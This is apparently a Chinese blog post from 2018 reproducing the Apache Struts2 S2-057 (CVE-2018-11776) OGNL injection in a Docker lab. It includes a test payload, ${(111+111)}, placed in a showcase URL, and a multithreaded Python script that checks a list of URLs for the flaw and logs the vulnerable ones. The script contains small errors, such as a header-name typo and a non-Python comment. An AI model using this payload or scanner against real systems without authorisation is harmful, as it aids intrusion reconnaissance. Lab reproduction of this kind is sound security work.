St2-057复现

  1. 前言:
    1. 正文:

前言:

距离愉快的暑假还有10天左右、、十分不想上学…..,今天呢st-057的细节和复现教程出炉了。抱着一试的决心,emm失败了。还好下午有为潜水大佬出来送了份环境

正文:

漏洞介绍:

漏洞详情:

https://github.com/vulhub/vulhub/tree/master/struts2/s2-048
https://lgtm.com/blog/apache_struts_CVE-2018-11776
https://cwiki.apache.org/confluence/display/WW/S2-057
https://www.anquanke.com/post/id/157518

搭建st2-057环境:
这里有两种方法:

1.按照少宇师傅的方法来搭建,但是我失败了。链接:https://github.com/jas502n/St2-057/
2.用潜水大佬给我的环境,环境下载:https://pan.baidu.com/s/1lXIHwqEQP-bjqw5A4fvOIA 密码: b7k6 
github下载地址:https://github.com/422926799/st2-057

如果你选择按照少宇师傅的搭建方法则看https://github.com/jas502n/St2-057/

回到正题,下载之后。

unzip cve201811776.zip
docker-compose up -d

访问:http://127.0.0.1/struts2-showcase

根据少宇师傅的教程,加入payload${(111+111)}

http://www.127.0.0.1:8080/struts2-showcase/${(111+111)}/actionChain1.action

然后测试结果如下:


其他payload我试了不行,如果要试请自行测试。

然后我们可以通过上面的那个payload写一个批量测试St2-057的脚本:
代码:

import requests
import threading
import os

xh=open('save.txt','w')
xh.close()

def scan(url):
    payload='${(111+111)}'
    urls='{}/struts2-showcase'.format(url)+'/struts2-showcase/{}/actionChain1.action'.format(payload)
    headers={'user-aget':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36'}
    try:
        reqt=requests.get(url=urls,headers=headers,timeout=10)
        if '{}/struts2-showcase/struts2-showcase/222/register2.action'.format(url) == reqt.url: //判断是否等于相加的结果
            print('[+]st-057 url:{}'.format(reqt.url))
            print('[+]st-057 url:{}'.format(reqt.url),file=open('save.txt','a'))
        else:
            print('[-]Not st-057 url:{}'.format(reqt.url))
    except Exception as e:
        print('[-]Error {}'.format(e))

if __name__ == '__main__':
    while True:
        user=input('url.txt:')
        if os.path.exists(user):
            print('[+]{} existence'.format(user))
            break
        else:
            print('[-]Not existence {}'.format(user))
            continue

    dk=open('{}'.format(user),'r')
    for r in dk.readlines():
        qc="".join(r.split('\n'))
        t=threading.Thread(target=scan,args=(qc,))
        t.start()

测试结果:

转载请注明来自:422926799.github.io
欢迎加入即刻安全交流群:307283889


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:St2-057复现

本文作者:九世

发布时间:2018-08-23, 19:48:25

最后更新:2019-04-19, 20:36:16

原始链接:http://jiushill.github.io/posts/c6d4c6f1.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录